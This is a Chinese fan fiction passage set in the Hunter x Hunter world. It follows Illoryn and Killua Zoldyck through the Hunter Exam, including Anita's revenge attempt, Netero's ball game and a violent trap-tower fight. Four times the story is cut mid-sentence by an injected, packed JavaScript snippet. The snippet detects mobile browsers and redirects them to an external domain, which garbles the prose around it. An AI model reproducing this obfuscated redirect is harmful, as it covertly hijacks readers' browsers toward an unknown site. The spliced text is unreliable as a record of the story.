格蕾西从他们两个中间挤进来：“什么双胞胎？看着就长得不像，没准只是你们家看着我们伊洛林可爱，捡回来的呢？” “哈？”奇犽暴怒：“我们从吃奶的时候就在一起了诶！” “那又怎样啊？” 两个人没说两句话就要干架，伊洛林吓了一跳，一手扯着一个把他们分开：“格蕾西，奇犽哥，不要吵架啦……” 格蕾西冷笑一声，阴阳怪气学起来，“奇——犽——哥——” 奇犽愣了一下。 他涨红了脸，也不知道是被气的还是其他什么原因，磕磕绊绊说不出一句完整的话，手指都在哆嗦，气得大跨步离开，走路的背影像一只愤怒的米O鼠或者唐O鸭。 “你哥好菜，高攻低仿。” 格蕾西如此评价道。 “奇犽哥其实很在意亲人的。”伊洛林说的时候，想到了他的举动，又叹了口气：“但是我们家的人……可能和外面有点不正常，所以奇犽哥才会觉得打伤他们也没事，不要说我是捡回来的啦，他会很难过的。” “哼哼，知道啦。不过说真的，你俩是真不像。” 格蕾西想了想。 “一个像爹，一个像妈？” 伊洛林不清楚，他觉得自己应该长得像妈妈，不过妈妈从来没有露出过眼睛给他看，所以还不能确定这一点。他们都说大哥长得很像妈妈，他和大哥倒也不像……和柯特好像才比较像？伊洛林想不出个所以然来，只能迎接下一场考试。 烤猪倒是简单，但是，寿司到底是什么。 伊洛林一手饭，一手鱼，下意识把它往饭上按，看着就像是道黑暗料理。 格蕾西盯着他，似乎是在生气，把案板都给掰下来一块。 伊洛林茫然地看着格蕾西：“好像，好像吃过？是这么弄吗……怎么感觉有点不对？”“用河鱼做寿司，根本就是寄生虫大战吧！”格蕾西转移了话题，她忍了忍眼里的泪水，咬牙切齿的痛骂这个世界，为什么伊洛林连最简单的寿司都记不住怎么做了，他和自己吃过很多次了不是吗，明明那么喜欢……她狠狠地用刀切下鱼头，那头的伊洛林也开始学习，刀一转切出利落的三枚切。 格蕾西不太高兴，是因为自己吗？ 伊洛林有点蔫，他看了看，似乎没有看到醋。嗯……好像要放醋？为什么会放醋？ 格蕾西随便一捏，放在盘子里。 “好了，就这样吧，懒得做了！” 伊洛林也只能有样学样端过去，考官挑剔至极，点评格蕾西的寿司吃起来像死了三天，而伊洛林的寿司硬的能做手榴弹。格蕾西忍气吞声，回去重新做，伊洛林也苦恼至极回去重新想，他还是觉得握这个动作是对的。 但很遗憾，全员没有通过，毕竟考官的嘴巴实在是抹了毒药。 “她说话的时候最好别舔嘴，否则我都怕她毒死自己。” 格蕾西如实评价。 伊洛林还在鼓捣他的饭，放进去类似于醋一样酸酸的东西，分开打散一点点融合，再切下一块生鱼片，一点芥末山葵，一点酱油，格蕾西拿起来一口吃掉。 “所以说啊！” 嚼嚼嚼。 “要是因为这种理由而淘汰所有人……” 嚼嚼嚼。 “这个猎人协会也不过如此嘛！” 嚼嚼嚼。 等下，伊洛林做出来了？ 格蕾西瞪大眼睛后知后觉不太对，伊洛林自己尝了一个觉得味道还不错，果然需要醋嘛！而旁边伸出来一只手，利落把最后一个拿走吃了。 格蕾西指着那个满脸钉子的家伙：“我忍你很久了！随便吃别人做出来的东西干嘛啊，付钱了吗？你给我吐出来！” “算了，算了，你还要吃吗？河鱼不太好，下次用海鱼做给你啦！”伊洛林不想和别人有什么争执，再说了也就只是一块寿司而已，他更觉得格蕾西不应该吃第二块，毕竟好像河鱼真不适合用来做寿司。格蕾西瞪了两眼钉子男，总觉得这家伙看起来特别讨厌，讨厌至极，想弄死他的那种。 “离伊洛林远一点。” 她扯着伊洛林离开，对钉子男下达最后通牒。 伊洛林好奇地看了两眼钉子男，总觉得他好像有点熟悉，不过也没有太在意，顺从跟着格蕾西离开了。西索噗得笑出声，而钉子男咔咔咔说了两句什么，西索莞尔，用扑克牌轻轻一扬，尾音也在上翘：“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035575|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，我要给你多少报酬呢？” 事实证明，猎人协会并不会因为这种理由把所有人都刷下去。 尼特罗会长来救场的同时，伊洛林心里微妙的感觉更多了一些，虽然葡萄蜘蛛蛋很好吃，可是为什么总是会有怪怪的感觉呢……他觉得应该是那个卜哈喇一直看着他，又或者是门琪考官也看着他愣了两下。 在飞艇上，门琪终于来找了伊洛林。 “你是姓什么？” “揍敌客。” 门琪疑惑地看了又看，她索性直接问出口：“你认不认识一个叫作零的女生？” 伊洛林立刻记起来了，格蕾西曾经提过这个名字。 “我不认识，但是格蕾西好像认识，你想知道的话，可以去问她。”伊洛林侧头看了一眼暗处，有人偷偷隐去了身形，而伊洛林则没有追究，他转回头看向门琪：“为什么这么问我？” “你们长得很像？” 门琪毫不客气的姿态也算是一种平易近人了，她环胸，像是在交流：“那家伙是美食猎人，我和卜哈喇都和她认识挺久了，不过最近这几个月她好像消失了……我联络不到她，当然，对于美食猎人来说这也是常有的事！你和她长得很像，唯一不同的是，她是蓝色头发蓝色眼睛，你还多了一颗泪痣。” “嗯……世界上确实会有长得很像的人。” “好吧，想来揍敌客家也不会随便养别人的孩子，祝你接下去的考试一切顺利。”门琪摆摆手，离开了。她或许还以为能帮零找找家人呢。 格蕾西上厕所回来撞见这一幕，也没问他们聊的什么，而伊洛林自然而然就说出来了。 “她问我认不认识零，说我长得很像她。” “你俩确实很像。”格蕾西点点头：“毕竟能让我叫错名字，肯定不是一点半点的像，不过你俩应该没啥关系？” 伊洛林不知道。他趴在窗台上，望着远方，又闭上了眼睛。 “格蕾西，我有一点累了……”话说到此处，他戛然而止，迅速挺起上半身看向另一侧，而格蕾西也注意到了，一个女孩正站在那，手上握着锋利的刀具。 “揍敌客家的……都该死！” 伊洛林上前一步，挡在格蕾西前面，这是揍敌客家的事情，当然是需要自己来解决，而格蕾西抖落锁链，冷漠注视着女孩。对方情绪激动，愤怒溢于言表：“揍敌客家，全部都是杀人犯，你们杀了我父亲……我现在要亲手报仇，将你杀掉……” 伊洛林觉得她话太多了。 但他们其实根本没打起来，尖锐的指甲架在了她的脖子上，奇犽鬼魅一般从身后轻轻走出，声音冷得可怕。 “我劝你不要轻举妄动。会死。” 他刚才就注意到了这个女孩，一直在暗地里用恶意的眼睛观察自己。刚刚在咖啡厅里搭话还不够，竟然真的来找了伊洛林，真是不知死活的女人。 伊洛林眨了眨眼。 “揍敌客家拿钱办事，充其量只是一把需要花钱的刀，如果你的父亲被杀了，你为什么要选择对刀复仇，而不是对买凶的人复仇呢？” 33. 33 伊洛林这话说得冠冕堂皇，但，伊洛林不说假话，这确实也是他的第一反应。 女孩名叫阿妮达，是已经被淘汰的考生之一。 现在在这艘飞船上，是因为她偷偷混了进来，想在这里杀掉揍敌客家的人。伊洛林掰着手指给她数了一下：“你如果不只是想要随便杀一个揍敌客家的人的话，要杀一共九个人……还不包括我们的更上一辈。” 要杀得有点多，甚至还有点自不量力。 “我赌八毛钱杀她爹的是伊尔迷，要不然把伊尔迷定位给她算了。”格蕾西做出合理推测和不合理的建议，奇犽觉得这是一个好主意，夸赞格蕾西真是聪明啊，只有伊洛林露出了无奈的表情：“如果她确实能接受这个安排的话，我会打电话问问大哥的……” 很可惜，阿妮达不接受。 可是她现在命在奇犽的手上，也根本找不到第二种选择，但她宁愿死，也不愿意。 “像你们这种人，怎么会理解我……”阿妮达充满仇恨的言语与表情，或许撼动得了奇犽，但是无法让伊洛林产生动摇，因为他认定了，如果要复仇，那么首选当然是罪魁祸首，其次才是刀。他不觉得自己家族的事业有问题，这么多年都是这么过来的，根本没有法律说杀人犯法呀。 …… 为什么想到这句话的时候，心里会刺痛一下呢？ 矛盾感太盛，反而有些疑惑，他没能立刻意识到自己的问题所在，只是习惯性地抛弃这个问题，逃避着答案。 “仇恨往往是这样的。” 尼特罗的声音从后方传来，他身侧站着小杰，正担忧地看向对峙的人群，而尼特罗抚摸着胡须，继续说道：“每个人在面对与自己无关的事情的时候，都会觉得理智一点最好，可是当他们自己面对时，又能不能这么理智呢。” “奇犽……” 小杰只是喊了一声，奇犽下意识收起了指甲，他不想在这个新朋友面前露出自己凶残的一面，哪怕小杰刚刚对他的家族表现出的只有好奇。 “这根本就是无解的吧？”格蕾西反驳道：“人当然都是双标的，按我说杀了就杀了，报仇又不能复活，要复仇就去找当事人，找我们家伊洛林干什么？” 在格蕾西心里，哪怕伊洛林是杀手，从小杀人，他都是那么纯天然无公害的小蛋糕。 “那么如果是你呢？格蕾西选手。” 尼特罗也并不气恼只是呵呵一笑，并不放在心上，而他身后跟着的墨镜西装男走了上去，示意阿妮达不要挣扎，他们的目的不是伤害她，只是带走她。格蕾西无所谓地收起自己的武器，坦然与之对视：“随便啊，那种父母对我来说，有和没有有什么区别呢？” 伊洛林伸手，拉住她的手，他们十指交扣，是沉默的安抚。 “每个人都不同……原来如此啊，那么，伊洛林选手，你呢，你是怎么想的？” 尼特罗话锋一转，转向伊洛林。 他的意思很明显，如果有人杀了伊洛林的父母，他会怎么做。 伊洛林微微歪了歪脑袋，思考了一下：“虽然能够杀掉爸爸妈妈的人应该并不存在，能把他们杀掉的人也应该是我需要臣服的强者，但我也会和阿妮达一样难过和充满愤怒才对，想要复仇是肯定的。但是如我所说，如果我父母的死是因为某个人聘请杀手，那么我优先复仇对象是聘请的人，而不是杀手。” “这样啊，这样啊。” 伊洛林不解其意，而格蕾西像是预感到什么一般，将他往身后护了护。 “你到底要说什么？能让被淘汰的考生上来，本来就是主办方的失职吧？还没让你赔偿呢！” 尼特罗笑着说抱歉，让人把阿妮达带了下去，与此同时他留下一个挑战，如果想要这位阿妮达小姐不受惩罚，就来试着玩一个游戏吧。格蕾西刚想说到底是谁会为她求情啊，一看，小杰表情开心了，伊洛林也下意识抬脚跟上，她和奇犽对望一眼，在对方眼里找到了不可思议。 说真的，要不然结成同盟算了。 叫作我们都有一个笨蛋朋友需要看着。 格蕾西和奇犽到的时候，伊洛林和小杰已经准备甩胳膊上了，尼特罗一身轻便的装扮，手上一颗球转得稳稳当当。他们要一个个来，还是一起上都行，总而言之他们来抢这个球，抢到了就能让阿妮达免于惩罚。 只不过尼特罗还是很好奇，为什么伊洛林想要救阿妮达。 “因为她想杀的是我。” 伊洛林平静回应。如果她要杀奇犽，那么伊洛林会不去介入，但如果是要杀他，那么他觉得其实这件事情不算大，杀人的时候，就要做好被杀的觉悟，伊洛林从一开始就这么告诉自己了。尼特罗点点头，他笑了笑，招了招手。 “那么，来吧。” 小杰先上，他左扑右抢，就是没办法近身一步，身手也算敏捷，但就是被尼特罗戏耍得团团转。小杰退场，换伊洛林上，伊洛林不仅是盯着球，更是盯着尼特罗的动作，他轻轻一蹬地，飞速冲上前，可以见得他的动作比起小杰，更加具有灵活性，这是经过具体训练才会有的成果，可他奋斗十分钟，依旧没有任何胜算。紧接着是奇犽。他就不信自己抢不到，一向对自己的实力非常自信的奇犽却在这里吃了亏，他不论如何努力，都像是一只被狗尾巴草逗得团团转的猫。 格蕾西也想参与，但是尼特罗遗憾拒绝。 “你根本不在乎这个女孩，就只不过是手痒了想要玩玩而已。”尼特罗转着球说道：“而且你要是抢急眼了，绝对会攻击我吧？老头子我啊，还想多活几天呢。” 格蕾西叛逆劲上来了：“你不让我玩我就不能玩？我偏要玩。” “哎呀，哎呀……” 伊洛林没忍住弯弯唇，他和格蕾西站在一起，而小杰和奇犽组成一队，现在是2v1阶段。 小杰和奇犽配合默契，而伊洛林与格蕾西更是对彼此熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035576|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他们四个人轮番上阵，拼尽全力无法碰到球的一点皮毛，气得格蕾西用她的武器差点戳爆这个球，被尼特罗说了再用武器就所有人一起淘汰才不情愿作罢。 四个人热火朝天，而阿妮达在门口咬着下唇看。 她紧紧盯着伊洛林，想起那个男人对自己说的话，他说那个孩子和自己一样，绝对能够理解自己，现在看来根本不是这样。他知不知道？如果不知道，这算不算一种复仇？她带着微妙的恨意，却又一遍遍想起伊洛林的眼睛，他平静地说出因为阿妮达要杀的是他所以没关系这句话时，眼睛依旧如初。而现在，他还在为了自己而努力。 阿妮达闭上眼睛，甩开杂念。 “烦死了，这种事情到底有什么好看，我要回房间了。” 她转身离开，思绪却在徘徊。 奇犽突然不玩了。 他莫名其妙失去了兴趣，转身就走，眼神阴鸷。格蕾西在后面说他破防哥，抢不到就破防了，而伊洛林则敏锐注意到，奇犽大概是又进入了自我厌恶的状态，他思考了两秒，借口自己去洗把脸，让格蕾西和小杰继续玩。 伊洛林追出门去，奇犽正望着窗户出神，伊洛林靠近时他微微松了一口气，只是低头，让刘海遮住眼睛。 “哥哥……” “伊洛林，有时候我觉得，我像是怪物。”奇犽望着漆黑的天幕，他声音平静：“我不想成为大哥那样的人，可是我又觉得他们说得对，我就是一个没有血也没有感情的杀手……” 他话还没说完，伊洛林已经拉住了他的手。弟弟的体温传递过来，他们的手掌心里都有黏腻的汗水，可是从小他们就在一起玩，要脏也是一起脏，根本没有能够嫌弃对方的余地。伊洛林望着他的眼睛，笃定而认真。 “哥哥会痛苦，所以哥哥不一样。” “那你呢，你会痛苦吗？” 这句话简直是废话，因为他看过伊洛林痛苦的样子，曾经作为反面教材，在他不知道的时候被耳提面命给奇犽听。可他想知道弟弟的心。 “……已经不会痛苦了。” 伊洛林笑着回应，却让奇犽更难受。其实他应该感谢格蕾西的，在看到那张照片的时候，他深刻意识到自己的钱没花错，他第一次看见伊洛林这样的笑容，又高兴又难过，不知为何埋头在膝盖上，润湿了自己的袖子。 “我想离开家，想带你走，你为什么不愿意呢？” “哥哥，我没事的？” “你怎么就不懂！” 奇犽暴发得太突然，他握住伊洛林的肩膀，那双眼睛里都是痛苦：“你不应该在这个家里，你明明会哭会笑会难过，会痛苦会高兴，他们把你变成了只会杀人的工具，你却还要和我说因为他们爱你所以没关系？！” 那是爱吗？那真的是爱吗？ 你明明，你明明从前不是这样…… 伊洛林，你还是伊洛林吗？你还是，那个伊洛林吗？ 34. 34 奇犽突然的爆发让伊洛林愣了很久。 他没说什么，只是用一种不知道怎么描述的眼神看着奇犽。 奇犽觉得痛苦，如果他会难过，会低落，会和自己一样痛苦，那么好像一切都还有救，可是他却表现得那么平和淡然，表现得被宠爱非凡一样，那一点点爱，可以凌驾于操控之上吗？ 奇犽知道，父母确实疼爱伊洛林，可是那样的疼爱带着审视和居高临下，他曾经问过糜稽，为什么大家都是爸爸妈妈的孩子，伊洛林却要通过审查才能被爱？ 糜稽表情复杂，嘟嘟囔囔不知道说什么，最后他说。 “奇犽，他跟你不一样。” 不一样？哪里不一样？ 尚且年幼的奇犽想了又想，他望着伊洛林，他总是不说话，总是没有表情，安静地站在那里，他甚至在被电击的时候都不再露出痛苦的表情，像是已经麻木。他看啊看，最终发现自己记忆里的伊洛林很模糊，他还能记得最初的记忆就是他还只会爬，伊洛林就在陪他玩，他们两个人……？ 奇犽想不通，自己为什么和伊洛林不一样。 如果说头发颜色，那在这个家里，所有的兄弟姐妹都和他不一样。 奇犽继续观察。 伊洛林长得和自己不一样。不是说头发，是眉眼。 他们全家都是差不多的类型，哪怕是糜稽也是因为肥肉挤压的，而伊洛林有一双下垂而圆润的眼睛，他总是不在状态，茫然游离在人群之中，他总是安静的，偶尔微微笑一笑，像极了人偶。 他发现，伊洛林的生日，和自己的生日，不是同一天。 奇犽不去想，不去猜，他告诉自己只是登记错了，多正常的一件事，可是他还是会下意识地恐慌。格蕾西说他们不是双胞胎的时候，奇犽反应过激，他知道这样不对，可是，可是他根本就不能接受！ 如果不是双胞胎的话，那么他们就根本不是亲兄弟了啊！ 更可怕更过分的是，这个答案就摆在那里，无所畏惧，根本没有遮掩的打算，哪怕有人询问也只会得到一个轻飘飘的登记错误的回答，他们知道伊洛林根本记不住自己的生日，他只记得住奇犽的生日。 他们真的爱你吗？ 他们真的……爱你吗？ 伊洛林伸手搂住了奇犽，他的哥哥紧紧抱着他，颤抖着，努力平复呼吸。伊洛林不解其意，但他努力安抚着奇犽，一遍一遍告诉他：“没关系的哥哥，你要做的任何事情，我都会支持你，所以不要难过了……我真的没事！哥哥认识小杰不是很开心吗？哥哥也有朋友了，和我有格蕾西一样，这不是很好吗？你一定会，得到自己想要的。” 暗处，那只脚向后退去，伊洛林抬起眼睛，不懂为什么阿妮达放弃了第二次刺杀。 但他不想管，因为奇犽的情绪最重要。 他拍了拍奇犽的后背。声音尽量放温柔：“哥哥，你看，小杰和格蕾西还在加油呢。” 奇犽抬起头来，他看到小杰已经从房间里抢到外面，格蕾西越挫越勇，他们两个的配合越发的水到渠成，逼迫尼特罗会长不得不两只手交替，甚至两只脚跳。他哎呀哎呀地叫着，躲避得差点给自己磕一个。小杰达成目的，倒头就睡，格蕾西满身狼狈，还不忘冲着伊洛林比个耶，两个揍敌客家的隔着玻璃窗看他们，拉着的手紧紧相握。 “虽然我不知道哥哥你在害怕什么，但是呢……没关系的，我会和哥哥你在一起。” 不是奇犽哥，是更亲近的哥哥。 比起伊尔迷的自称，这个称呼其实可以带给他很多力量。 “伊洛林，你可以答应我吗？不论发生了什么，你和我都是兄弟。” “当然了！” 伊洛林很好，他甚至没问为什么。 如果可以，奇犽希望有些事情，永远不会被发现。他是如此为自己有一个这样的弟弟而高兴，和那群家人完全不一样的，温暖柔软的，弟弟。 这一夜，终究是落幕了。 阿妮达被送下飞艇的时候回头深深望了伊洛林一眼，奇犽告诉她，她的父亲挖采的矿石曾让无数家庭妻离子散，阿妮达很清楚，这个意思是她父亲就算被杀也怪不得谁，这是他该有的报应，可是父亲在阿妮达心里一直都那么温和、伟岸，他总是对自己给予最多的温暖和包容。 伊洛林在格蕾西身边，格蕾西被西索缠着，他们都不在这，只有小杰和奇犽在送她离开。 阿妮达想起昨天听到的，她与奇犽对视。 “那……他呢。” 奇犽握紧了拳头，声音逐渐冷淡下来：“他就跟你没关系了，不论是不是他杀的，都轮不到你复仇。” “我昨晚想要进行到底，但我听见了。” “……” “你作为哥哥，真的能保护好他吗？你怎么知道，你就不是他痛苦的来源之一？”阿妮达意图想说什么，尼特罗会长轻咳一声：“阿妮达小姐，关于此事，我们应该做过约定。” 阿妮达笑了笑。 “没关系，我有自己的报应，你也有，揍敌客家的。” 她转身离开了，没有任何对自己未来的迷茫与惋惜，因为她知道，只要自己活着，就会想要复仇，这是没办法停止的念想。她不知道父亲是什么样，又该不该死，以后她会去了解，但是，人类的情感就是这样，哪怕我爱的人十恶不赦，他也是我爱的人。 “奇犽，没事吧？她是什么意思？”小杰疑惑看向奇犽，而奇犽低着头，闻言勉强地笑了笑，摇摇头后望向伊洛林，他正挡在西索和格蕾西之间，被西索弹了一下脑瓜，捂着额头露出了凶巴巴的表情。格蕾西对着西索一脚踹了过去，两个人亲密无间，奇犽的笑容也松垮下去。 “小杰，我总觉得，我会失去什么。” “是伊洛林吗？” “……他有格蕾西，一定会没事的，对吧？” “我不知道，但是奇犽，你是他哥哥啊！” 虽然不清楚奇犽他们家的事情，可小杰知道奇犽很在乎伊洛林，阿妮达和他说完似是而非的话之后，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035577|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是提了一句重要的东西，她离开后奇犽立刻意识到她说的是伊洛林，马上赶了过去。 小杰也望向伊洛林，他站在阳光下，黑发如同绸缎，白色衣服显得有点透明，长裤包裹住双腿，穿一双黑靴子，他看起来不像杀手，比奇犽还不像。 酷拉皮卡加入了他，雷欧力也冲过来，三个人把格蕾西挡在身后，让西索露出了遗憾的表情。 下一考场，陷阱塔。 圆不溜丢的塔顶，想要下去就必须是寻找入口，这个入口或许就在脚下。 例如伊洛林，下去的一瞬间无痛滋溜滑了进去。 伊洛林：？ 他都不知道要干嘛就进来了，这合理吗？ 格蕾西一回头发现伊洛林消失，差点拆了陷阱塔，被西索一拉扯，两个人掉进同一个通道里，笑脸对臭脸，西索的小脚趾又迎来一次痛击。 “死变态拉着我干什么！！” “好过分，人家可是你的哥哥呢~” 格蕾西努力心平气和。先从这里出去，找到伊洛林再说，而西索的声音却喋喋不休：“说起来你们在飞艇上玩得很开心哦，让我都有一点嫉妒了呢。” “那你就嫉妒吧。” “明明和哥哥认识的时间更久，为什么格蕾西你对伊洛林反而很好呢？” “管好你自己。” 格蕾西在前面开路，准备来个神挡杀神，佛挡杀佛。 “真可惜呢~?” 西索的扑克牌在指间不住翻飞，他微微抬眼，舌尖抵住唇角舔过一圈，视线落在女孩的身上，惹得她全身起了一阵鸡皮疙瘩。他实在是忍不住啊，忍不住想要看到她咬牙切齿、怒不可遏又歇斯底里的模样了。 “不过还是奉劝你一句哦，揍敌客家的指导大部分也没错，如果你拥有一个能被轻易击溃的弱点，最好还是偷偷把他藏起来比较好呢。” 格蕾西连白眼都懒得翻。 她踏在黑暗里，踩在西索拉长的影子上，那影子微微暗沉，比这黑暗也亮不过几分，西索还站在有烛火摇曳的最起点，格蕾西站在深处，没有回头。 “那还真是抱歉啊，我跟你们这种人不一样。” “我只会把最爱的人捧在手上，不让他受任何委屈，和他高高兴兴在一起，而不是畏首畏尾。你们要做什么尽管放马过来，大不了鱼死网破，一起死。” “揍敌客不是什么好东西，你也不是。” 西索终于迈步跟上，话锋一转，黏糊糊凑了上去：“妹妹~什么时候叫一声哥哥听听？” “等我死了，或者等你死了。” “真冷酷无情~我就喜欢你这样?” “……” 骂西索到底是骂还是奖励他啊！ 她也觉得开始急切了，咬紧牙关想要快点出去，不知为何，心里总有一种不祥的预感。伊洛林，他还好吗，他没事吧，他会不会被卷入什么莫名其妙的事里？ 为什么，伊洛林。 为什么阿妮达要用怜悯的目光看你？ 35. 35 面对黑暗幽沉的通道，只有几盏蜡烛照亮前方，隐约可以感受到气流的浮动。 伊洛林此刻有点感谢家里人的训练了。 面对这种诡异阴森的通道，以前他真的会觉得很害怕，现在反而很坦然地接受了。 他向前走，走入黑暗里。 面对着荧幕，里伯观察着伊洛林的细微表情。 “原来如此，原来如此……”墨镜下的眼睛弯弯，他勾唇笑起来：“怪不得会长告诉我，看到了就知道了，这真是一个巨大的惊喜呢。” “那个人的孩子还活着。” “有趣，揍敌客家竟然给别人养孩子，还养了这么多年……不过，让他来考猎人执照，这是已经做好了撕破脸的准备了？” 身侧的手下微微弯下腰，好奇地询问里伯。 “这是……什么意思？” “意思就是告诉会长，他的提议很有趣，我参与。”里伯掏出一袋薯片，拆开，而伊洛林已经开始面对他的第一个挑战：“我现在要好好观察一下，揍敌客养小孩的能力行不行。” “瞒得死死的十二年啊……可让我苦等了呀。” 伊洛林面对着禁闭室里的人，他歪了歪头，似乎不太理解他出现在这里的理由，而男人充满恶意的目光令伊洛林读懂了，来者不善。这大概也是考试中的一环。 男人的视线舔过伊洛林的身躯，外层宽大白色薄纱套在身上，露出白皙双肩，雌雄莫辨的身躯纤细窈窕，带有女性的柔韧与男性的基础轮廓，白色高领紧身衣紧紧勾勒出身体线条，连裤子都是修身的。 看不出男女，就按女人算。 “呵呵……你好啊，小姑娘。”男人开口了，他膀大腰圆的身躯十分具有压迫力，甚至故意动了动肌肉，让伊洛林这个小家伙好好看看自己的身体：“遇上我真是你的不幸……我名为拉蒙格，曾经虐杀了十六个像你这样的小姑娘，被判了二百六十年的刑罚。只要在这里打败你，我就能减刑……起码能减八十五年，真是一笔不错的交易。” “……” 伊洛林呆呆的表情在微微低头的一瞬间切换成了阴沉。 “……是吗。” “小姑娘，叫得好听一点吧……我会好好享受你濒死的甜美的，呵呵……” “我想，杀你不用说对不起，也不需要留时间给你遗言。” 伊洛林的手指不受控制变换形态。 他往后慢慢后退，身影消失在空气里，没有味道，没有声音，甚至没有杀意。他没有和对方交流的打算，也没有用念能力，沉默里对方左右环顾四周，拉蒙格被松开枷锁，他安静站在原地，按照原定计划拖住伊洛林的脚步。他料定自己足够强壮，会让伊洛林害怕。 “我喜欢看你们的尖叫。” “求饶的时候叫着爸爸妈妈的模样，真是漂亮。让我猜猜，你会不会也求我饶了你？” “你们这种雏，我最喜欢了，哈哈！！美味异常……” 他的话戛然而止。 胸口空洞着的时候，人大概是无法思考的，伊洛林重新出现，手掌心里握着一颗鼓动的心脏，原来这样的人心脏也是热的，血也是热的，伊洛林淡然说了句好脏，随意捏爆了掌心的心脏，肉碎混杂着血流淌，庞然大物轰然倒下。 伊洛林神色不变，他走过去扯下对方的兜帽斗篷，擦干净自己的手掌。 “太脏了。” 他冷冷地看着脸上的表情还在惊愕里凝固的拉蒙格。 “该死的东西，死了也不会怎么样。” 他像是在自言自语，跨步踏过尸体，脚底板狠狠碾压在拉蒙格的脸上，无情掠过。伊洛林最讨厌的人，成功勾起他暴戾的情绪，压制住疯狂涌动的杀意太不容易，能够顺利秒杀也多亏了他确实能够暂且压制住。不侮辱？怎么可能，没在他脸上吐口唾沫都算伊洛林素质高。 拥有这样强壮的身躯却用来欺负女孩，享受虐杀弱者的快感，真是恶心的东西，连人类都称不上的废物，才会恃强凌弱而自鸣得意。 里伯看得十分心满意足。 他根本不在乎这些囚犯的死亡，老实说，十恶不赦的家伙们需要迎接自己的地狱才是最好的，这个囚犯的生命到头，那也是他活该。而伊洛林的表情切换则满足了他的窥探，这个孩子看起来十分的愤怒啊，他讨厌这种行为真是再好不过了，如果他和揍敌客家的一样，反而就失去了那种感觉呢。 里伯勾了勾唇，塞进一把薯片。 “把前方道路打开，让他过关。” “老大，这也太简单了吧？西索就算了，还有那个钉子男，怎么这个也……” “他要真愿意，这里没人拦得住他。” 里伯跷起二郎腿，轻笑了一声：“这孩子实力不错，我猜肯定会有人觉得他前途一般，那个人一定是瞎了眼……强化系，可是前途无量啊。” 伊洛林怀揣着愤怒的心情，想要进行下一关卡，却一直在走下坡路，他还在疑惑呢，开门就看见了目的地，而钉子男在和西索玩抽纸牌。 “啊！” “啊~” “咔咔。” 伊洛林眨了眨眼，又眨了眨眼。 “西索，你的朋友是这种类型的酷哥？” “真没礼貌~”西索的声音飘忽不定，笑意更深：“要叫人家哥哥，西索哥哥……”他还没说完就被钉子男以迅雷不及掩耳的速度来了一手刀，委屈巴巴没了声音，而钉子男咔咔咔了好几下，听起来骂得挺脏。伊洛林听不懂，但他本想走到另一边去，因为他不想和西索近距离接触，他怕自己忍不住开打，可西索指着钉子男又和他介绍：“这是集塔喇苦，要认识一下吗？” “不了。” “你刚刚还叫他酷哥呢~” “他确实挺酷的。”伊洛林认真评价：“虽然穿衣服的品味和西索你差不多，但是论气质和姿态，他都是属于很有教养的酷帅类型，这叫作狂野系。” “……咦？”西索愣住，纸牌散了一地。 “咔咔咔，咔咔咔……” 钉子男不知道说了什么，古铜色肌肤上浮现诡异的红色，西索一副思考人生的模样，回应他：“我感觉只是他瞎了眼了哦，这个新奇的装扮，绝对——没有酷才对。” “咔咔咔。” “我没有嫉妒哦~” “咔咔咔。” “……哼哼，你们真讨厌。” 西索不想和他们两个玩了，而伊洛林去角落里洗了手，又洗了一把脸，找了个干净的地方远离他们两个人，耐心坐着。他是第三个通关者，安静坐了一段时间，通道里迅速冲出一个光头在黑夜里闪闪发亮。 “我肯定是第一名——！！” 真不好意思，是第四名。 和西索与集塔喇苦，多数人没什么好说的，而看起来非常和善的伊洛林就成了他聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035578|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的对象，他凑过去和伊洛林说话，小姐贵姓，今年贵庚，家在哪里，家里有几口人？伊洛林烦不胜烦，死气沉沉着一张脸，他的心情本来就很差，因为那个拉蒙格而变得难以平静，此刻被一千只鸭子吵着，除了保持沉默也没有别的多余的善意。 